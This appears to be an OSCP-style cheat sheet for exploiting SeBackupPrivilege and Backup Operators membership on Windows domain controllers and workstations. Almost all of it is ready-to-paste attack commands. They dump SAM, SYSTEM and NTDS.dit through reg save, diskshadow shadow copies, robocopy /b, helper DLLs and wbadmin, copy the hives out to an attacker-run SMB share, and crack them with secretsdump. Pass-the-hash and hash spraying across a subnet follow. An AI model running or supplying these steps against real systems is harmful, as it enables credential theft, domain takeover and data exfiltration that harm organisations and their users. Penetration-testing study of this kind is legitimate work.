SeBackupPrivilege — Backup Operators Hash Dump & File Read
Ctrl+F:
SeBackupPrivilege·backup_operator·robocopy /b·diskshadow·wbadmin·Copy-FileSeBackupPrivilege·reg save·ntds.dit
When you see this:
whoami /priv
REM SeBackupPrivilege EnabledBackup Operators group → usually SeBackup + SeRestore together. SeBackup = read any file (bypass ACLs for backup). On a DC → dump NTDS.dit without Domain Admin.
What is NTDS.dit? → NTDS.dit
Goal: Domain hashes · local SAM · Admin desktop loot → PtH / spray → DA or root.
→ Windows Privileges - OSCP Priority Hub
📌 0) Detect
whoami /priv
whoami /groups| Signal | Action |
|---|---|
SeBackupPrivilege Enabled | Start here — pick method below |
SeRestorePrivilege Enabled | Also enables wbadmin recovery + write paths → SeRestorePrivilege |
| BACKUP OPERATORS | Both privs typical |
svc_backup / similar username | Try immediately |
📌 1) Pick your method
| Priority | Method | When | Needs |
|---|---|---|---|
| 1 | CrackMapExec - nxc > OSCP — Backup Operators / SeBackupPrivilege (backup_operator) | Have creds/hash on Kali, no shell needed | SMB to target |
| 2 | reg save | Non-DC or quick local SAM | Shell only |
| 3 | diskshadow + robocopy /b | DC NTDS.dit from evil-winrm | Shell + usually SeRestore too |
| 4 | diskshadow + SeBackupPrivilege DLLs | robocopy/copy fails on locked files | Shell + upload 2 DLLs |
| 5 | wbadmin + SMB share | Both SeBackup and SeRestore; diskshadow blocked | Shell + Kali Samba |
| 6 | robocopy /b loot | Read Admin files (notes, configs) — not full hash dump | Shell |
📌 2) Method 1 — From Kali: nxc -M backup_operator (preferred)
No shell required — automates VSS shadow → NTDS/SAM + SYSTEM → parse hashes.
nxc smb -M backup_operator --options
# Password
nxc smb 10.10.10.192 -u svc_backup -p 'Password123' -M backup_operator
# Pass-the-Hash
nxc smb 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d -M backup_operator
# Domain format
nxc smb DC_IP -u 'DOMAIN\svc_backup' -H NTHASH -M backup_operatorOutput: NTLM hashes for domain users. Spray → Credential Graph
Full module reference → CrackMapExec - nxc > OSCP — Backup Operators / SeBackupPrivilege (backup_operator)
📌 3) Method 2 — reg save (local SAM / SYSTEM)
Works with SeBackupPrivilege alone — bypasses registry hive ACLs.
reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM
reg save HKLM\SECURITY C:\Temp\SECURITYevil-winrm:
reg save hklm\sam sam
reg save hklm\system system
reg save hklm\security security
download sam
download system
download securityimpacket-secretsdump -sam sam -system system LOCAL
impacket-secretsdump -sam sam -system system -security security LOCAL→ Registry Hives and Linux Equivalents · secretsdump
📌 4) Method 3 — diskshadow + robocopy (DC NTDS)
Shadow-copy C: → drive letter → robocopy /b copies locked NTDS.dit.
Full diskshadow syntax → diskshadow
Script (ine.txt)
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias ine
create
expose %ine% E:
end backup
Execute
diskshadow /s C:\Users\jackie\Desktop\ine.txt
dir E:\Windows\NTDS\
cd C:\Users\jackie\Desktop
robocopy /b E:\Windows\NTDS . ntds.dit
reg save hklm\system systemNon-DC — from shadow E::
robocopy /b E:\Windows\System32\config . SAM
robocopy /b E:\Windows\System32\config . SYSTEM
robocopy /b E:\Windows\System32\config . SECURITYExfil + parse:
download ntds.dit
download systemimpacket-secretsdump -system system -ntds ntds.dit LOCAL
impacket-secretsdump -system system -ntds ntds.dit LOCAL -just-dc-ntlm→ robocopy > 📌 Backup mode (/b) — SeBackupPrivilege · SeRestorePrivilege (if diskshadow denied — check SeRestore)
📌 5) Method 4 — diskshadow + SeBackupPrivilege DLLs
Use when normal copy / robocopy fails — DLLs use FILE_FLAG_BACKUP_SEMANTICS (same idea as backup software).
Repo: giuliano108/SeBackupPrivilege — still OSCP-relevant on-box when nxc backup_operator unavailable.
Kali — get DLLs:
git clone https://github.com/giuliano108/SeBackupPrivilege.git
# Pre-built x64 .NET 2.0:
# SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll
# SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dlldiskshadow script (C:\windows\temp\cmd)
Simpler script (exposes H:):
set context persistent nowriters
add volume c: alias temp
create
expose %temp% h:
exit
diskshadow /s C:\windows\temp\cmdevil-winrm — copy from shadow
upload /home/kali/tools/SeBackupPrivilege/SeBackupPrivilegeUtils.dll
upload /home/kali/tools/SeBackupPrivilege/SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege
Get-SeBackupPrivilege
# DC — NTDS + SYSTEM
Copy-FileSeBackupPrivilege h:\windows\ntds\ntds.dit c:\windows\temp\NTDS -Overwrite
Copy-FileSeBackupPrivilege h:\windows\system32\config\SYSTEM c:\windows\temp\SYSTEM -Overwrite
download C:\windows\temp\NTDS
download C:\windows\temp\SYSTEMNon-DC (no NTDS.dit):
Copy-FileSeBackupPrivilege h:\windows\system32\config\SYSTEM c:\windows\temp\SYSTEM -Overwrite
Copy-FileSeBackupPrivilege h:\windows\system32\config\SECURITY c:\windows\temp\SECURITY -Overwrite
Copy-FileSeBackupPrivilege h:\windows\system32\config\SAM c:\windows\temp\SAM -Overwrite
download C:\windows\temp\SYSTEM
download C:\windows\temp\SECURITY
download C:\windows\temp\SAM# DC
impacket-secretsdump -ntds NTDS -system SYSTEM LOCAL
# Workstation
impacket-secretsdump -security SECURITY -sam SAM -system SYSTEM LOCAL📌 6) Method 5 — wbadmin + SMB share (SeBackup + SeRestore)
Needs both privileges — backup to remote share, then recovery restores ntds.dit locally. SeRestore steps → SeRestorePrivilege > 📌 wbadmin recovery
Kali — authenticated Samba share
sudo apt install samba -y
sudo adduser smbuser
sudo smbpasswd -a smbuser/etc/samba/smb.conf (adjust interfaces to your tun0 IP):
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
interfaces = tun0
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbusersudo systemctl restart smbd
impacket-smbserver smb /tmp -smb2support # alternative quick share if wbadmin accepts itWindows — backup NTDS to share
net use K: \\10.10.14.3\smb /user:smbuser smbpass
echo Y | wbadmin start backup -backuptarget:\\10.10.14.3\smb -include:C:\windows\ntds
wbadmin get versionsNote the version string (e.g. 10/01/2020-14:23).
Recovery NTDS locally (SeRestore)
echo Y | wbadmin start recovery -version:10/01/2020-14:23 -itemtype:file -items:C:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreaclSYSTEM hive + exfil
reg save hklm\system system.hive
copy C:\windows\ntds\ntds.dit \\10.10.14.3\smb\NTDS.dit
copy system.hive \\10.10.14.3\smb\system.hiveimpacket-secretsdump -system system.hive -ntds NTDS.dit LOCAL📌 7) Method 6 — robocopy /b file loot (Admin desktop)
Read files you normally cannot — e.g. Administrator’s Desktop:
robocopy /b C:\Users\Administrator\Desktop\ C:\Temp\loot\
type C:\Temp\loot\notes.txtEFS note: If root.txt is EFS-encrypted, robocopy may copy it but contents stay encrypted until you have the Administrator’s context. Dump hashes (Methods 1–5) → PtH as Administrator → read flag.
impacket-wmiexec Administrator@TARGET -hashes :ADMIN_NTHASH
# or evil-winrm with hash→ robocopy
📌 8) After dump — PtH & reuse
impacket-secretsdump -system system -ntds ntds.dit LOCAL -just-dc-ntlm
# Pass-the-Hash as Domain Admin / local Administrator
impacket-wmiexec DOMAIN/Administrator@TARGET -hashes :NTHASH
impacket-psexec DOMAIN/Administrator@TARGET -hashes :NTHASH
evil-winrm -i TARGET -u Administrator -H NTHASH
nxc smb 10.10.10.0/24 -u Administrator -H NTHASH --continue-on-success→ Credential Graph · LatMovement
📌 Full copy-paste — DC via evil-winrm (diskshadow path)
whoami /priv
@'
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias ine
create
expose %ine% E:
end backup
'@ | Out-File -Encoding ascii C:\Users\jackie\Desktop\ine.txt
diskshadow /s C:\Users\jackie\Desktop\ine.txt
cd C:\Users\jackie\Desktop
robocopy /b E:\Windows\NTDS . ntds.dit
reg save hklm\system system
download ntds.dit
download systemimpacket-secretsdump -system system -ntds ntds.dit LOCAL📌 OSCP checklist
✅ whoami /priv — SeBackupPrivilege?
✅ whoami /groups — Backup Operators?
✅ Have creds on Kali? → nxc -M backup_operator FIRST
✅ On DC? → diskshadow + robocopy OR DLLs OR wbadmin
✅ Not DC? → reg save OR shadow-copy SAM/SYSTEM/SECURITY
✅ SYSTEM hive always needed for NTDS parse
✅ robocopy /b for Admin desktop loot / notes
✅ EFS flag? → PtH as Administrator after hash dump
✅ Spray hashes / hunt DA
📌 Alias check (Linux/bash)
alias
alias | grep -iE 'sudo|root|pass|su |chmod'Shell aliases may expose sudo shortcuts, paths to SUID binaries, or commands run as root — run on every Linux privesc pass.
→ Linux > 📌 1) Basic Manual Enumeration